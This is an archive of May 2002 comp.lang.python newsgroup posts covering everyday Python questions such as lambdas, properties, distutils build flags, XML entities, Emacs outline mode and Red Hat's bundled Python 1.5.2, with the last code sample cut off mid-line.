source (2.5 and 2.0.1) to >DOS using DJGPP. Dude! Hey, that's no small feat. Pass it back. That is, it impresses me considerably that your first encounter with Python was a backport to DJGPP- ed DOS. I conclude you're plenty comfortable with C, and you must be picking up Python ideas quite quickly. Are you willing to share your work? Many others of us would like handy access to a Py2.5-for-DOS. . . . >Which one of these languages has the greatest demand for programmers at the >moment? Read Peter's reply with the care he wrote it. It's OK with me if you practice Perl for a week, and then tell a hiring manager that you are a Perl programmer. You will already be in the upper half of the candidates sought by people who ask for "Perl programmers". . . . The liability of Lisp, Ruby, and Rexx, given what I understand to be your circumstances, is that they don't currently manage WSH and related Win* facilities. Choose Python. More than is conven- ient to detail at this point, it's right for you. It'll take you farther than you imagine. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From fokke_wulf at hotmail.com Fri May 17 16:54:01 2002 From: fokke_wulf at hotmail.com (Matthew Diephouse) Date: Fri, 17 May 2002 20:54:01 GMT Subject: Perl's pack/unpack functions Message-ID: <3CE56D0B.3030906@hotmail.com> I'm looking at learning Python, and the first app I want to write needs to be able to take a binary file and pack/unpack the data into hex form, and then into binary form. In Perl, you can do this using pack/unpack, but I don't see these functions in Python. So how would you do this in Python? md |- m:att d:iephouse From gcordova at hebmex.com Thu May 16 10:04:38 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 16 May 2002 09:04:38 -0500 Subject: dynamic functions Message-ID: There is a way to do this using lambda, except that you have to reference explicitly the function you're going to include, to bind a reference to it locally to an argument of the lambda. >>> func = lambda x: x == 'something' >>> func = lambda x, f=func: f(x) or x == 'another' >>> func = lambda x, f=func: f(x) or x == 'look here' >>> >>> f(1) 0 >>> f(3.141592654) 0 >>> f('something') 1 >>> f('another') 1 >>> f('look here') 1 This works, while the others didn't, because we're binding a reference to func (whatever it may be at the time of compilation) using a default argument for the subsequent definition of func, and obviating the need to look up 'func' upon the execution of the lambda expressions. Anyway, it might be useful. -gustavo From quinn at regurgitate.ugcs.caltech.edu Thu May 23 14:11:16 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 23 May 2002 18:11:16 GMT Subject: dumb distutils question (distutils vs. LDFLAGS) Message-ID: I have a seemingly basic question but cannot find the answer. How do you get python (and extensions modules, but I'm currently trying to build python) to look in the include and lib directories you want? I'd think this is a common problem because libs required for some extensions are in /usr/local/lib or /opt/foo/lib or /usr/local/bar/lib on many systems. I can do 'CFLAGS=-I/opt/sfw/include LDFLAGS=-L/opt/sfw/lib ./configure', but then configure ignores that and compiles everything with its own flags (including -O3, what's the deal with that, anyway? all the gcc docs I've read say "-O3 *may* improve speed, or may hurt it, but will definately increase size and is most likely to be buggy", so why is python using it?). Anyway, I've *never* been able to get along with configure, but since I only need the extensions to look for the libs in the right place, I could just 'make', SIGINT when it runs setup.py, and then re-run setup.py by hand with flags (is there a more graceful way?). Unfortunately, I can't tell which flags. The closest thing the docs have is '* CFLAGS and LDFLAGS (must implement them first!)' in 'Installing Python Modules (3)'. Some greps through the source revealed ldflags munging for some specific windows compilers and a whole bunch of 'XXX we should support this' in build_ext.py. So it looks to me like there's no way to use "custom" library directories, short of looking through distutils source to figure out its internals and hacking setup.py to frob 'ldflags' directly. This isn't such a rare thing to want---who *doesn't* have libraries in places like /usr/local/lib or wherever? Is there some easier way to do this that I'm missing? From pyth at devel.trillke.net Tue May 7 10:53:32 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 7 May 2002 16:53:32 +0200 Subject: os.seteuid In-Reply-To: <40a8aa92.0205070533.6899c84f@posting.google.com> References: <40a8aa92.0205070533.6899c84f@posting.google.com> Message-ID: <20020507145332.GL4604@devel.trillke> Daniel wrote: > I'm new at this, so maybe I've just got it all wrong, but I have a > python script owned by root:root with chmod +s. Should this script be > able to set-uid/gid/euid/egid or anything? The script fails at > changing any of these to anything else. IIRC scripts cannot be executed as set-uid. (for security reasons, ugh) At least this is so on my versions of linux. You have to write a C-wrapper or use 'sudo' or friends to call your script. A C-program can be set-uid and can 'execve' your python script. regards, holger From fs at floSoft.net Mon May 6 03:15:40 2002 From: fs at floSoft.net (fritz steindl (-:fs)) Date: Mon, 06 May 2002 07:15:40 GMT Subject: singleton in python ? Message-ID: <1020669846.963494@newsmaster-04.atnet.at> hi, what is the best way to implement a singleton in python ??? ( class that allows only _one_ instantiation - like java singletons) i miss static variables and functions in python (or i don't see them :-) fritz (-:fs) From aahz at pythoncraft.com Wed May 29 16:14:09 2002 From: aahz at pythoncraft.com (Aahz) Date: 29 May 2002 16:14:09 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: In article , =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: >[Aahz] >> >> [...] I therefore invoke Python's "There's Only One Way" principle. > >That principle still existed with Python 1.5.2, but is fading out since >then, and does not reflect Python reality anymore. Python now offers >many ways in various fields of the language. I too, like you, feel a bit >nostalgic of the past simplicity :-). On the other hand, all the recent >improvements have their own value. In terms of strict reality, the principle was never 100% accurate. Don't forget that there are many Pythonic principles ("import this" in Python 2.2+), and it is often not possible to satisfy all of them simultaneously. But I'll bet you find it difficult to name a principle that Queue fails to satisfy. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From pereira at cis.upenn.edu Wed May 22 20:19:30 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Wed, 22 May 2002 20:19:30 -0400 Subject: Is python really slow? References: Message-ID: On 5/22/02 9:36 AM, in article slrnaen7oo.44l.msoulier at pmerd071.ca.nortel.com, "Michael P. Soulier" wrote: > On Tue, 21 May 2002 20:34:01 -0500, Mark McEahern > wrote: >> For what it's worth, the OP might want to check this out: >> >> http://www.bagley.org/~doug/shootout/ > > ?? How did Java score higher than Python? Any use for Java I've tried it's > been incredibly slow. Any Java performance evaluation that doesn't take into account the effect of JITC/HotSpot is worthless. Unless the test program runs for quite a while, runtime will include byte-code interpretation (before the frequently-visited code is compiled) and compilation. -- F From sdm7g at Virginia.EDU Thu May 30 16:36:52 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Thu, 30 May 2002 16:36:52 -0400 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: On 30 May 2002, Grant Griffin wrote: > I discovered today that strings can sometimes be concatenated without using a > "+": > >>> a = 'one' ' plus ' 'two' > >>> a > 'one plus two' [...] > Is there some grand purpose here, or is this just a bug in the parser? It's a feature, not a bug: I believe that it predates the triple quoted strings as a way to have very long multiline strings. ( I'ld have to dig thru the news archives or the changelog to be certain about the history. ) (There should only be HOW MANY WAYS?! ;-) -- Steve Majewski From martin at v.loewis.de Tue May 7 01:24:08 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 07 May 2002 07:24:08 +0200 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: "Stuart D. Gathman" writes: > 1. Rewriting the whole thing in C is out of the question. Rewriting in > Java is a possibility, and easier than C - but not nearly as easy as > Python. Not sure what "the whole thing" is, but Fredrik Lundh has rewritten sgmllib as a C module, named sgmlop. This is now included regularly in PyXML, as xml.parsers.sgmlop. It has two modes of operation: SGML and XML, and it is really fast. HTH, Martin From whitney at pk3i.com Tue May 21 14:24:28 2002 From: whitney at pk3i.com (Whitney Williams) Date: Tue, 21 May 2002 11:24:28 -0700 Subject: 2.2.1 build fails on linux Message-ID: I cannot build a working 2.2.1 installation, and wondered if anyone else had encountered this problem (and found a workaround)... whitney at freaky:~/src/Python-2.2.1$ gcc -v Reading specs from /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.0.4/specs Configured with: ../gcc-3.0.4/configure --with--gnu-as --with-gnu-ld --enable-threads Thread model: posix gcc version 3.0.4 creating build/temp.linux-i686-2.2 gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -fPIC -I. -I/home/whitney/src/ Python-2.2.1/./Include -I/usr/local/include -IInclude/ -c /home/whitney/src/Python-2.2.1/Modules/structmodule.c -o build/temp.linux-i686-2.2/structmodule.o creating build/lib.linux-i686-2.2 gcc -shared build/temp.linux-i686-2.2/structmodule.o -L/usr/local/lib -o build/lib.linux-i686-2.2/struct.so WARNING: removing "struct" since importing it failed <... all modules failing from here on...> I see this has been happening with somwe Solaris installations. I have always been to successfully build python in the past. Any ideas? From locke at geek.com Sun May 19 17:10:03 2002 From: locke at geek.com (Locke) Date: Sun, 19 May 2002 17:10:03 -0400 Subject: using exceptions Message-ID: I am trying to to some CGI using the poplib module. I want it to tell me if the password is incorrect. What is the exception I should use? 23 try: 24 pop.pass_(password) 25 except error_proto: 26 print "Your password is incorrect." From andrew at acooke.org Tue May 7 20:55:36 2002 From: andrew at acooke.org (andrew cooke) Date: 7 May 2002 17:55:36 -0700 Subject: XML (XHTML) character entities and PxXml References: Message-ID: martin at v.loewis.de (Martin v. Loewis) wrote in message news:... > You have the following options: > - don't use entity references; use character references (&#num;) > instead, or use utf-8 > - include the entity definitions in the document itself, i.e. as > internal entities. please could you explain how to do that. do i just stick a thing after the doctype? if so, what should it include? i can probably automate that. > - use a validating parser, such as xmlproc i'll try that tomorrow (am now at home). > - implement your own entity resolver, and try to integrate it into > the parsing process. This can be done in several ways; one is: > * implement an EntityResolver. Construct a SAX parser that uses > this entity resolver. Use the SAX parser to build the DOM tree. i tried this. at least, i tried implementing the interface and using a method that i thought would set the entityresolver on the parser, but the method on the class was never called (sorry for the lack of details - it was at work - i believe i used setEntityResolver and implemented the single method in EntityResolver as a simple "print", but nothing printed). thanks v much, andrew From dalke at dalkescientific.com Wed May 22 19:34:24 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 22 May 2002 17:34:24 -0600 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: Michael P. Soulier: > Python _does_ seem mildly inconsistent in this regard. Giving strings >methods helped a bit, but tuples still have none, and neither do numbers. > >>>> dir(()) >[] >>>> dir(2) >[] > > IMHO, they should all be objects with methods and a class, such that they >may be subclassed. Upgrade to a newer version of Python. First, what 'dir' does was never explicitly defined, and its implementation has since changed. Second, one of the big changes in 2.2 was to make type subclassable. >>> dir(2) ['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr __', '__div__', '__divmod__', '__float__', '__floordiv__', '__getattribute__', '__ hash__', '__hex__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', ' __pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce_ _', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__str__', '__sub__', '__truediv__', '__xor__'] >>> dir( () ) ['__add__', '__class__', '__contains__', '__delattr__', '__eq__', '__ge__', '__get attribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__init__', '__ le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__repr_ _', '__rmul__', '__setattr__', '__str__'] >>> Andrew dalke at dalkescientific.com From boud at valdyas.org Fri May 24 06:15:16 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Fri, 24 May 2002 12:15:16 +0200 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: <3cee15ca$0$3878$e4fe514c@dreader4.news.xs4all.nl> jb wrote: > I have two lists, x and y with the property len(x) = len(y). > > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) > > Is there a fancy way of doing this or have I to introduce an auxillary > counter (that is very easy but maybe not very "lispy", that is > "python-like"). > Is this what you want? >>> a=[1,2,3] >>> b=['a','b','c'] >>> map(None, a, b) [(1, 'a'), (2, 'b'), (3, 'c')] >>> for t in map(None, a, b): ... print t ... (1, 'a') (2, 'b') (3, 'c') >>> for i, j in map(None, a, b): ... print i, j ... 1 a 2 b 3 c -- Boudewijn Rempt | http://www.valdyas.org From mhammond at skippinet.com.au Tue May 21 20:59:04 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 22 May 2002 00:59:04 GMT Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) References: Message-ID: <3CEAEDA9.2000906@skippinet.com.au> David LeBlanc wrote: > * AS includes a Windows Scripting Host interface that is not otherwise > available anywhere AFAIK. Unless I missed something significant, this is not true. win32all has full WSH support. The only thing I am aware of that is only in ActivePython is the package manager. Mark. From cliechti at gmx.net Sat May 4 21:34:10 2002 From: cliechti at gmx.net (Chris Liechti) Date: 5 May 2002 03:34:10 +0200 Subject: python and C++? References: Message-ID: "Totte Karlsson" wrote in news:ab1r85$1u8s$1 at nntp6.u.washington.edu: > Hi, > Is there any good texts about how to interface to a windows dll with > python? I'm a total beginner of python. welcome > I'm a C++ programmer and what I want is to make a DLL and interface to > that one with python. > Say for example, I have a C++ class, called mtkMatrix. Is it then > possible to allocate a mtkMatrix in a python script and acess its > class member functions? sure is it is possible. you will have to write or automaticaly generate some simple glue code. not having written extesions in C++ (only C) i can only give you some keywords for a search on google.com or groups.google.com: Boost (http://www.boost.org/libs/python/doc/), Cxx (cxx.sourceforge.net), SWIG (www.swig.org) and the Extending&Embedding manuals that whre installed on your HD along with the other python docs. chris -- Chris From nobody at nowhere.net Mon May 27 13:23:49 2002 From: nobody at nowhere.net (joel jensen) Date: Mon, 27 May 2002 17:23:49 GMT Subject: Getting XML module to work in windows. Message-ID: Hi all: I have a little question. I am a python newbie, used the windows 2.21 installer from python.org. I can't seem to access any of the XML modules that ship with python. I used the default click and drool installation, is there something else that needs to be done to get this to work in windows 2000 ( it works on linux ) thanks a ton, joel jensen ************************************************* here is an example program ( just import a module ): from xml.sax import saxutils ************************************************* here is the result from running it: C:\Documents and Settings\joel\Desktop\test>xml.py Traceback (most recent call last): File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in ? from xml.sax import saxutils File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in ? from xml.sax import saxutils ImportError: No module named sax From peter at engcorp.com Fri May 10 22:44:24 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 May 2002 22:44:24 -0400 Subject: Python stagnating? References: Message-ID: <3CDC8588.ED5DA7F5@engcorp.com> Steve Holden wrote: > > PDF is great if you're going to print documentation, which I do with lower > frequency as time goes by. You can print PDFs? ;-) -Peter From timr at probo.com Wed May 8 00:56:58 2002 From: timr at probo.com (Tim Roberts) Date: Tue, 07 May 2002 21:56:58 -0700 Subject: Has Red Hat helped or hurt? Message-ID: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Red Hat 7.x uses Python 1.52 for many of its configuration and administration activities. Ordinarily, I'd say this was a Good Thing for the betterment and furtherance of Python. However, it makes it deucedly difficult to upgrade away from 1.52. If one upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration scripts are no longer found in site-packages. How have other people handled this? Do you just copy all of 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a separate directory and grumble every time you have to change the #! line in your scripts? I tried updating all of the #! lines in the Red Hat scripts, but this, of course, blows as soon as you do an rpm upgrade of a Python-based package. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From b.hall at irl.cri.nz Thu May 23 23:39:39 2002 From: b.hall at irl.cri.nz (Blair Hall) Date: Fri, 24 May 2002 15:39:39 +1200 Subject: properties in Python 2.2 Message-ID: <3CEDB5FB.49EEEDD9@irl.cri.nz> I was trying to understand how to use the built-in property type in Python 2.2. I seem to be missing something. So far, I can't find any helpful hints in the Python doc either. I am assuming that creating a property in a class allows one to intercept setting and retrieving its value. Perhaps this is just plain wrong!!?? If I define the following class class test: def fget(self): print 'fget' def fset(self,u): print 'fset' x = property(fget,fset) Then create an instance: t = test() I was expecting that >>>t.x would print 'fget', (which it does the first time, but not after the line below) and that >>>t.x = 2 would print 'fset' (which it does not) If I assign a new value to the property >>> y = t.x Then y is now a reference to the 'property' From loewis at informatik.hu-berlin.de Wed May 8 05:35:24 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 11:35:24 +0200 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> <8h3C8.14403$zW3.346467@news1.tin.it> <$ZJ+BWAKqN28EwuJ@jessikat.fsnet.co.uk> Message-ID: Robin Becker writes: > I assume the problem stems from lib (or lib/pythonxx.x) being in > sys.path before lib/site-packages. That order seems a bit barmy given > that site-packages is supposed to specialize the installation. Of course > given the huge care taken over every aspect of Python's development I > suppose there was no small care taken in getting it that way. Indeed, the rationale for making it hard to override the standard library is that people will report difficult-to-reproduce bug reports, that may turn out to rely on buggy replacements. If I see "sgmllib" in a bug report, today I only need to ask for the Python version to know what code is in use (most likely - unless ActiveState chose to edit the code). If site-packages had priority, I'd need to request for every bug report that a detailed listing of all installed packages is given. That would make it unmaintainable. Regards, Martin From dag4004 at free.fr Tue May 14 12:05:29 2002 From: dag4004 at free.fr (dag4004) Date: Tue, 14 May 2002 18:05:29 +0200 Subject: How to setting system time Message-ID: <3ce1353a$0$230$626a54ce@news.free.fr> Hello, Does some one know how to set the system time in Python ? Thanks From sholden at holdenweb.com Sun May 26 21:06:18 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 26 May 2002 21:06:18 -0400 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: "Jarno J Virtanen" wrote ... > Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: > > > > Why do you say x = []; x.append('a'), but get the length with len(a) ? > > > > Is there a reason for this sort of inconsistency? > > why not check the FAQ? > > http://www.python.org/cgi-bin/faqw.py?req=all#6.5 I have updated this entry, and would welcome any feedback about the changes -- it's just a first attempt, and I was trying not to be too defensive about the inconsistencies. After all, history is important even in technologies. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From wangzhao_wz at hotmail.com Fri May 24 03:53:10 2002 From: wangzhao_wz at hotmail.com (wangzhao_wz) Date: Fri, 24 May 2002 10:53:10 +0300 Subject: Very basic:How to config python2.2.1 in windows? Message-ID: Hi, When I install Python2.2.1 in windows system. I can only put the module files in the directry python22 so that the file can be executed. How can I set the path so that I can run the files in any directory? Can anybody help me? Thanks. zhao From aleax at aleax.it Mon May 6 10:53:09 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 14:53:09 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> Message-ID: Martin v. L?wis wrote: ... >> $ dlltool --export-all --output-def python2.3.def python.exe >> $ dlltool --dllname python.exe --def python2.3.def --output-lib >> libpython2.3.dll.a >> >> $ make # [2] > [...] >> [2] make succeeds this time because we are linking against an import >> library now. > > I think this is what Alex had in mind. Alex doesn't understand the details of Cygwin, and dlltool in particular, well enough to be certain, but it sure looks something like what I was saying should be doable, yes. I'd like to have a look at the .def file this produces (it SHOULD say something like "LIBRARY python.exe" if it follows the same rules as other Windows .def files). Now, the question becomes, how does Cygwin's loader try to fix things at .so loadtime? It is quite possible that it's doing a LoadLibrary and _that_ wouldn't work (or at least "might not work") on python.exe. GetModule OTOH _should_ work (since the .exe is "already loaded"...). I _am_ getting rusty fast at this low-level Windows stuff (just a few happy months back on Linux and OpenBSD, and years of Windows stuff are rapidly going away...:-). Alex From just at xs4all.nl Wed May 15 03:38:28 2002 From: just at xs4all.nl (Just van Rossum) Date: Wed, 15 May 2002 09:38:28 +0200 Subject: __getitem__, __getslice__ question for python 2.2 References: Message-ID: In article , Ken Seehof wrote: > I don't see the problem. If x is 'a', x != int(x) evaluates to false, > consistent with 'a' not being an integer. >>> x = 'a' >>> x != int(x) Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for int(): a >>> > If x is 2.0, the expression evaluates to true. People will argue > about whether or not this is correct. It may or may not be correct, > depending on why you want to constrain x to an integer. In many > cases it is appropriate to consider 2.0 to be an integer. It depends > on the context. >>> range(5)[2.0] Traceback (most recent call last): File "", line 1, in ? TypeError: sequence index must be integer >>> Just From jblazi at hotmail.com Thu May 9 05:44:25 2002 From: jblazi at hotmail.com (jb) Date: Thu, 09 May 2002 11:44:25 +0200 Subject: Simple question about how the optimizer works Message-ID: <3cda42ef_1@goliath2.newsgroups.com> Let us assume, f(x) is a relatively complicated function and g(x,y) and h(x,y) are functions. How often is then f called in the following code: print g(f(x),f(x)) print h(f(x),f(x)) I think this topic is called "common subexppression elimination" in computer science. TIA, -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From trentm at ActiveState.com Thu May 2 20:35:36 2002 From: trentm at ActiveState.com (Trent Mick) Date: Thu, 2 May 2002 17:35:36 -0700 Subject: Win32 install questions In-Reply-To: <3CD1C98A.2BEC68D@marge.cyber-dyne.com>; from toman@marge.cyber-dyne.com on Thu, May 02, 2002 at 04:19:38PM -0700 References: <3CD1C98A.2BEC68D@marge.cyber-dyne.com> Message-ID: <20020502173536.A24868@ActiveState.com> [toman wrote] > > This is more of a Wise question than a Python question. I'm trying to > install Python-2.2.1.exe and win32all-146.exe > as part of a larger installation. Are there command line arguments for > these programs that can make them run > silently (i.e. no GUI at all) and that can specify the target path for > the installation? So far I've found > the /S flag which makes the Python install silent, but the win32all > install still pops a progress bar. Is there any > way around this? I am not sure about the win32all installer but you may be interested in the latest ActivePython builds (disclaimer: look at my email address). Their install notes describe how to do what you ask. For example the following command will silently install ActivePython to "C:\myapps\Python": c:\> msiexec ActivePython-.msi /qn+ INSTALLDIR=C:\myapps\Python http://aspn.activestate.com/ASPN/Downloads/ActivePython/install_22#install_complex > Also, I noticed that site packages have been moved to Lib/site-packages > . Is this going to stay this way for the forseeable > future? Yup. Cheers, Trent -- Trent Mick TrentM at ActiveState.com From tim.one at comcast.net Wed May 8 15:46:11 2002 From: tim.one at comcast.net (Tim Peters) Date: Wed, 08 May 2002 15:46:11 -0400 Subject: Comments In-Reply-To: Message-ID: [Sean 'Shaleh' Perry] > Sure, but comments are basically free whereas the above creates > an anonmymous string which has to be garbage collected. Perhaps surprisingly, it does not. A little-known optimization (one of the few the compiler does) is that Python throws away all string literal statements, except for those in docstring positions. It does this whether or not -O is enabled. So def f(): "This is saved -- it's a docstring" """Except for its effect on line numbers in tracebacks, this string doesn't exist -- the compiler throws it away. """ return 3 Cute: A few years ago there was a debate about whether Python should *start* doing this optimization. Guido eventually decided that it should. I then had the joy of pointing out that it already did . a-time-machine-in-every-pot-ly y'rs - tim From anthony at interlink.com.au Tue May 28 06:43:26 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Tue, 28 May 2002 20:43:26 +1000 Subject: The email package and KLEZ mails In-Reply-To: Message from Gerhard =?iso-8859-15?Q?H=E4ring?= of "Tue, 28 May 2002 11:08:26 +0200." <20020528090826.GG505@lilith.my-fqdn.de> Message-ID: <200205281043.g4SAhQi19984@localhost.localdomain> >>> Gerhard =?iso-8859-15?Q?H=E4ring?= wrote > Which is good, because it's a certain sign that you can just throw the > message away because all the interesting email you'll get will be RFC > compliant >:-) If you throw away all email that's not strictly compliant with the standards, you'll end up losing a lot of mail. > You could send an auto-reply in case somebody's MUA or mail system was > fscked up. Please don't. Auto-replies to viruses, bad emails, or whatever, make the situation worse, and they very rarely help. Anthony -- Anthony Baxter It's never too late to have a happy childhood. From Gareth.McCaughan at pobox.com Mon May 6 19:55:58 2002 From: Gareth.McCaughan at pobox.com (Gareth McCaughan) Date: Tue, 7 May 2002 00:55:58 +0100 Subject: Comments on Version 2, Draft Pep for Deprecating Builtins References: Message-ID: > Raymond Hettinger wrote: > > Please send me comments on a draft PEP deprecating > > and relocating six built-in functions. The text file is at: > > http://users.rcn.com/python/download/deppep.txt ... and I replied. Shortly after doing so, I noticed the other, later thread on the same subject that I'd missed. Then I noticed the other other thread. In other words, my article was obsolete long before it was sent. Sorry about that. I'm attempting to cancel it, but who knows whether that will propagate properly? There was one thing I said that isn't completely redundant, which I'll repeat here: > Eliminating |input| would be a major improvement to the language, > *provided* we get something that does what |input| should have > done. Unfortunately, what with unary minus and complex numbers > and lists and tuples and everything else being handled in the > expression eval rather than the parser, this isn't as trivial > as one might think. > > To expand: we could really do with something that lets the user > enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" > and returns the same as |input| does for those, but that doesn't > permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". -- Gareth McCaughan Gareth.McCaughan at pobox.com .sig under construc From lac at strakt.com Wed May 15 06:12:50 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 15 May 2002 12:12:50 +0200 Subject: Python outline mode in emacs Message-ID: <200205151012.g4FACoeW010904@theraft.strakt.com> When I told Ronny that I had posted this, he said 'But it didn't come with documentation and store the outline-display state with the buffer! Let me fix this!' So here is a better version: ;; Outline mode extension ;; ---------------------- ;; ;; Author: Ronny Wikh , May 2002 ;; ;; A simple extension of the outline mode with functions provided ;; for python and texi modes. ;; ;; The mode simply adds toggles for outline/show everything and ;; outline/show paragraph, where the 'paragraph' concept is ;; modified to mean classes and function definitions in python ;; and chapters and subsections in texi. ;; ;; Toggle entry is bound to C-c C-e ;; Toggle all is bound to C-c C-a ;; ;; The default is that a buffer is started in outline mode. This ;; behaviour is controlled by the variable 'outline-start-hidden' ;; which can be set in your .emacs: ;; ;; (setq outline-start-hidden t) to start in outline (default) or ;; (setq outline-start-hidden nil) to start showing everything ;; ;; Activation of the mode can be done manually by calling the function ;; ;; 'python-outline' for python mode, ;; 'texi-outline' for texi mode ;; ;; or automatically by inserting the following lines into your .emacs file: ;; ;; (setq auto-mode-alist (append '( ;; ("\\.texi" . texi-outline) ;; ("\\.py" . python-outline)) ;; auto-mode-alist)) ;; ;; Modes for other languages can easily be added by providing suitable ;; regexp expressions for that specific language in new functions. ;; (defvar outline-start-hidden t "Start outline hidden") (defun outline-setup (regexp) "Setup outline mode" (defvar outline-toggle-all-flag nil "toggle all flag") (make-variable-buffer-local 'outline-toggle-all-flag) (defvar cpos_save nil "current cursor position") (outline-minor-mode) (setq outline-regexp regexp) (define-key outline-minor-mode-map "\C-c\C-e" 'outline-toggle-entry) (define-key outline-minor-mode-map "\C-c\C-a" 'outline-toggle-all) (if outline-start-hidden (progn (setq outline-toggle-all-flag t) (hide-body))) (defun outline-toggle-entry () (interactive) "Toggle outline hiding for the entry under the cursor" (if (progn (setq cpos_save (point)) (end-of-line) (get-char-property (point) 'invisible)) (progn (show-subtree) (goto-char cpos_save)) (progn (hide-leaves) (goto-char cpos_save)))) (defun outline-toggle-all () (interactive) "Toggle outline hiding for the entire file" (if outline-toggle-all-flag (progn (setq outline-toggle-all-flag nil) (show-all)) (progn (setq outline-toggle-all-flag t) (hide-body)))) ) (defun python-outline () (interactive) "Python outline mode" (python-mode) (outline-setup "^class \\|[ ]*def \\|^#")) (defun texi-outline () (interactive) "Texinfo outline mode" (texinfo-mode) (outline-setup "^@chap\\|@\\(sub\\)*section")) From res0s92a at verizon.net Wed May 8 20:35:06 2002 From: res0s92a at verizon.net (Ray Tux) Date: Thu, 09 May 2002 00:35:06 GMT Subject: Hello Newb here Message-ID: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Hello im new to programming i started to learn c++, but turned out to be way too hard. So i thought I would learn Python. Does anyone have any ideas on how I can learn to program well in about a month Thank From juliabell at sbcglobal.net Thu May 16 00:19:43 2002 From: juliabell at sbcglobal.net (Julia Bell) Date: Thu, 16 May 2002 04:19:43 GMT Subject: embed data inside string Message-ID: <3CE3337F.7CA0D11B@sbcglobal.net> I can create a string from a mixture of quoted strings and data with something like: mystring = "Value of parameter = " + parameter + " is unexpected" (where parameter is a variable holding a string value) Is there a way to embed the VALUE of the parameter in the string from within the quotes (essentially avoiding concatenating strings)? (I don't want to use formatted strings - I'm looking for something to simplify the line.) In perl I would have used: $mystring = "Value of parameter = $parameter is unexpected" (inside double quotes, the $parameter variable is evaluated, and it's value is embedded in the string) I'm looking for something similar in python where I can refer to the value of the parameter inside a string. Julia Bell From mwh at python.net Wed May 29 07:51:13 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 29 May 2002 11:51:13 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> <3cf27f1e@si-nic.hrz.uni-siegen.de> Message-ID: Michael Hudson writes: > Michael Hudson writes: > > > Simon Budig writes: > > [super_eval bytecodehack-lite-stylee] > > > > I am not sure if I want to do this or if the interception of > > > sys.stdout is a more - uhm - Simon-friendly solution... ;-) > > > > Here's another crack. It works much the same way as the last one, but > > is somewhat more sensible... > [version using the compiler module] > > Actually, the two versions I posted share a piece of (probably) > undesired behaviour. Can anyone spot it? It seems noone did. Here it is: >>> super_eval("1;a=1") 1 That should probably have returned None. Here's my final word on the subject: from compiler.pycodegen import InteractiveCodeGenerator, \ AbstractCompileMode class SuperICG(InteractiveCodeGenerator): def visitDiscard(self, node): self.visit(node.expr) if self.return_val: self.emit('RETURN_VALUE') else: self.emit('POP_TOP') def visitStmt(self, node): self.return_val = 0 children = node.getChildNodes() for child in children[:-1]: self.visit(child) self.return_val = 1 self.visit(children[-1]) class SuperI(AbstractCompileMode): mode = 